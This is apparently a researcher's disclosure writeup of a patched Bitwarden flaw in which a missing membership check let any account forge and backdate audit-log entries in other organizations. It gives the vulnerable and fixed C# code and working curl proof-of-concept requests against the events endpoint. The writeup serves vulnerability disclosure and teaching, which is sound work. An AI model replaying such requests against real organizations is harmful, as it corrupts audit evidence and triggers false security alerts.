# Bitwarden: Any Authenticated User Could Forge and Backdate Another Org's Audit-Log Events
Bitwarden: Forging and Backdating Another Organization's Audit Log
Fivecaselabels in the sameswitchchecked org membership. Three didn't.
Eighth writeup in my Bitwarden series. The Events service ingests client-submitted telemetry at POST /collect. Almost every organization branch in that handler verifies the caller is a member of the target org before writing the event — but one branch loaded the organization by id alone and logged it. Any authenticated account, including a brand-new free one belonging to zero organizations, could write audit records into any org's log by GUID, at any timestamp it chose.
- ➜Vendor: Bitwarden
- ➜Product:
bitwarden/server(Events service) - ➜Severity: Medium (CVSS 5.8)
- ➜CVE: Requested
- ➜Report: HackerOne #3792232
- ➜Fix: PR #7934 — commit `2aa92a3c` (PM-38773)
- ➜Fixed in: server release `v2026.7.2` (2026-08-05) — Cloud + self-hosted
//TL;DR
CollectController.Post dispatches each submitted event by type. Three organization event types — Organization_ClientExportedVault (1602), Organization_AutoConfirmEnabled_Admin (1620) and Organization_AutoConfirmDisabled_Admin (1621) — were handled by a branch that resolved the org with GetByIdAsync(organizationId) and wrote the event immediately. No membership check.
The organization id and the event date both come from the request body. So the attacker picks the victim org and the timestamp. The acting user is stamped server-side from the bearer token, so it lands as the attacker's own non-member account — which the web vault, unable to resolve a stranger to a name, renders as "Unknown".
The headline entry is 1602: the Event Logs UI renders it as "Exported organization vault." — one of the loudest lines an audit trail can carry.
//The vulnerable code
src/Events/Controllers/CollectController.cs, as it stood at report time:
case EventType.Organization_ClientExportedVault: // 1602
case EventType.Organization_AutoConfirmEnabled_Admin: // 1620
case EventType.Organization_AutoConfirmDisabled_Admin: // 1621
if (!eventModel.OrganizationId.HasValue)
{
continue;
}
var organization = await _organizationRepository.GetByIdAsync(eventModel.OrganizationId.Value);
if (organization == null)
{
continue;
}
await _eventService.LogOrganizationEventAsync(organization, eventModel.Type, eventModel.Date);
break;
GetByIdAsync answers "does this org exist?", never "may this caller write to it?" — the same shape of mistake as an action filter that loads a resource and calls it authorization.
Every field it trusts is attacker-supplied. EventModel is four properties, all bound from the JSON body:
public class EventModel
{
public EventType Type { get; set; }
public Guid? CipherId { get; set; }
public DateTime Date { get; set; }
public Guid? OrganizationId { get; set; }
}
What made this an easy call rather than a judgment call: the correct check already lived a few lines below, in the same method, for the phishing-blocker events.
// Verify the user belongs to this organization
var orgUserContext = await _organizationUserRepository.GetByOrganizationAsync(
eventModel.OrganizationId.Value, _currentContext.UserId.Value);
if (orgUserContext == null)
{
continue;
}
The Organization_ItemOrganization_Accepted / _Declined branch (1618/1619) does exactly the same thing. So the intended behavior was never in doubt — three case labels had simply been added without it.
//The exploit
One account, no membership anywhere. GET /accounts/profile returns organizations: [].
The control. Send event type 1618 — a sibling type that does check membership — into the victim org:
curl -X POST https://events.bitwarden.com/collect \
-H "Authorization: Bearer $ATK" -H 'Content-Type: application/json' \
-d '[{"type":1618,"organizationId":"7e5645ab-...","date":"2026-06-09T13:39:24.000Z"}]'
# HTTP 200 -> silently dropped, never appears in the org's log
The bug. Same caller, same org, same 200 — change only the type to 1602:
curl -X POST https://events.bitwarden.com/collect \
-H "Authorization: Bearer $ATK" -H 'Content-Type: application/json' \
-d '[{"type":1602,"organizationId":"7e5645ab-...","date":"2026-06-09T13:39:24.000Z"}]'
# HTTP 200 -> written to the victim org's audit log
/collect returns 200 either way — it drops events silently by design — so the endpoint's own response tells you nothing. The proof is the contrast read back from the org owner's own Event Logs: 1602 present, 1618 absent. That one-type-apart pairing is what isolates the cause to the missing guard rather than to some general lack of validation.
Backdating. Date is just another body field, so the entry can be planted anywhere in history:
-d '[{"type":1602,"organizationId":"7e5645ab-...","date":"2024-03-03T03:03:03.000Z"}]'
Read back from the organization's own events API, two years before the request that created it:
{"type": 1602, "actingUserId": "8f2fccf7-...", "date": "2024-03-03T03:03:03Z"}
In Admin Console → Reporting → Event Logs, that row reads "Exported organization vault.", dated March 3, 2024, by a user the org cannot resolve: Unknown.
//Impact
An audit log is only worth what its integrity guarantees are worth, and three event types could be written by anyone holding a free account and a GUID — and organization ids are not secret; they surface in invitations, API responses and SSO URLs.
- ➜Evidence contamination. Orgs lean on Event Logs for SOC 2, HIPAA and ISO evidence. An entry nobody can explain — attributed to an account that was never a member — is a finding auditors have to chase.
- ➜Timeline poisoning. Arbitrary backdating manufactures false history and muddies incident reconstruction, where the log is the primary record.
- ➜Fan-out into the org's own SIEM.
LogOrganizationEventAsyncfeeds the pipeline that pushes to configured event integrations — webhook, Splunk HEC, Datadog, Slack, Teams. A forged "organization vault exported" is a false high-severity alert delivered straight into the victim's SOC channel: usable for alert fatigue, false incidents, or burying a real event under injected noise.
And what it is not, because the boundaries matter as much as the claim: /collect is write-only, so nothing is read (Confidentiality: None). ActingUserId is stamped server-side from the token and has no field on EventModel, so a specific victim user cannot be framed. And only that one branch was affected — every other org branch dropped the event. Those limits are what keep this at Medium rather than higher.
//The fix
Commit `2aa92a3c` (PR #7934), shipped in v2026.7.2. The same guard the siblings already used, lifted into the vulnerable branch:
case EventType.Organization_ClientExportedVault:
case EventType.Organization_AutoConfirmEnabled_Admin:
case EventType.Organization_AutoConfirmDisabled_Admin:
case EventType.Organization_InviteLinkClientCopied:
- if (!eventModel.OrganizationId.HasValue)
+ if (!eventModel.OrganizationId.HasValue || !_currentContext.UserId.HasValue)
+ {
+ continue;
+ }
+
+ // Drop the event if the caller is not a member of the target organization.
+ var orgMembership = await _organizationUserRepository.GetByOrganizationAsync(
+ eventModel.OrganizationId.Value, _currentContext.UserId.Value);
+ if (orgMembership == null)
{
continue;
}
Note the fourth case label. Organization_InviteLinkClientCopied (1627) did not exist when I filed — it was added to that exact branch on 2026-07-02, three weeks after the report and eleven days before the fix, and inherited the missing check on arrival. Unguarded branches don't stay the size you found them. The fix covers all four, with a parameterized test asserting a non-member's events are dropped for each.
One thing the patch does not change: EventModel.Date is still taken from the request body as of v2026.7.2, so a member can still backdate events in their own org. That is a much narrower problem than the cross-tenant one, but it is still open.
//Disclosure timeline
All times UTC.
- 1.2026-06-09 — Reported to HackerOne (#3792232) with source analysis and a live PoC against Bitwarden Cloud.
- 2.2026-06-09 — Reproduced and triaged.
- 3.2026-06-10 — Severity finalized at Medium 5.8 (Privileges Required: None, Integrity: Low).
- 4.2026-07-02 — A fourth event type,
Organization_InviteLinkClientCopied(1627), is added to the still-unguarded branch and inherits the flaw. - 5.2026-07-13 — Fix merged to
main: PR #7934, commit2aa92a3c(PM-38773), covering all four event types plus regression tests. - 6.2026-08-05 — Shipped in server release
v2026.7.2; report resolved and bounty awarded. - 7.2026-08-09 — Public writeup.
//Takeaways
- ➜Audit the switch, not the endpoint. One handler here had three different authorization behaviors across its organization branches alone. Endpoint-level reasoning — "
/collectchecks membership" — was true of most of it and wrong about the part that mattered. When one method fans out into per-type branches, each branch is its own attack surface, and the ones that do check are your specification for the ones that don't. - ➜Existence checks impersonate authorization checks.
GetByIdAsync(orgId)followed by a null guard reads like a security control and passes review as one. It answers a different question. Any lookup keyed only on the resource id, with no caller id in the argument list, is a candidate. - ➜Silent drops hide the boundary. Returning 200 for discarded events is reasonable for a telemetry firehose, but it means the vulnerable and safe paths are byte-identical on the wire. The bug was only visible by reading the result out of a different system — the org's own Event Logs — and only provable by contrasting two event types the endpoint answers identically.
- ➜A missing check spreads. Between report and patch, a new event type was added to the same unguarded branch and became vulnerable on day one. The window between disclosure and fix is a window in which the flaw can grow.
Thanks to @mandreko-bitwarden and the Bitwarden security team for the fast triage and a fix that covered more than I reported.